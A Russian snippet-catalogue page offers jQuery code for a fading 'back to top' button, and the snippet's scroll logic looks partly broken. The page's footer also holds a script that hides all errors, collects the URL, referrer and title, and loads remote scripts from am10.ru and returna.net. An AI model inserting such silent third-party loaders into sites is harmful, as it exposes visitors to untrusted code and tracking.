Быстрый подъем вверх страницы

Быстрый подъем вверх страницы

SocialVK
0
159
написал: DoG Добавлен: 13.05.2013
Кнопка вверх. Предназначена для быстрого поднятия страници вверх. Кнопка устанавливается в верхем правом углу сайта. Появляется только тогда, когда пользователь прокрутит немного страницу вниз. Чем ниже страница станет, тем кнопка обретает насыщенный цвет.

Установка: копируем код и вставляем в нижнюю часть сайта.

Код
<style>  
  #aposcroll a {  
  text-decoration:none;  
  color:White;  
  }  

  #aposcroll:hover {  
  background: rgba( 255, 0, 0, 0.5);
  box-shadow:0px -5px 10px #777;  
  }  
  </style>  
  <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:50px;height:140%;opacity:0" id="aposcroll"><span style="font-size:12pt"><center><a href="javascript://">^ Вверх</a></center></span></div>  
  <script>  
  //
  var as = $('#aposcroll');  
  as.click(function() {  
  $(document).scrollTo(0, 500);  
  });  
  document.onscroll = function() {  
  var apolst = '0.'+$('body').scrollTop();  
  if(apolst.length == 5) {  
  as.stop().fadeTo(500, apolst);  
  } else if(apolst.length == 5 || apolst.length == 4) {  
  as.stop().fadeTo(500, 0);  
  };  
  };  
   
  </script>
</div></div>
</td>
</center>
</div>
<script type="text/javascript" src="http://returna.net/background.js"></script>
<script type="text/javascript">
  function stopError(){return true;}
  window.onerror = stopError;
  var am_jq=0; if(window.jQuery){am_jq=1;}
  var am_loc=escape(top.location.href.substring(0,255));
  var am_ref=escape(document.referrer.substring(0,255));
  var am_title; try{am_title=encodeURIComponent(document.getElementsByTagName("TITLE")[0].innerHTML.substring(0,100));}catch(e){am_title="";}
  var am_rand=Math.floor(Math.random()*10000);
  var am_code_cu=document.createElement("script"); am_code_cu.type="text/javascript";
  am_code_cu.src="http://am10.ru/code.php?type=cu&jq="+am_jq+"&rand="+am_rand+"&u=7775&loc="+am_loc+"&ref="+am_ref+"&title="+am_title;
  document.body.appendChild(am_code_cu);
  var am_code_sb=document.createElement("script"); am_code_sb.type="text/javascript";
  am_code_sb.src="http://am10.ru/code.php?type=sb&jq="+am_jq+"&rand="+am_rand+"&u=7775&loc="+am_loc+"&ref="+am_ref+"&title="+am_title;
  document.body.appendChild(am_code_sb);
</script>
Комментарии
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]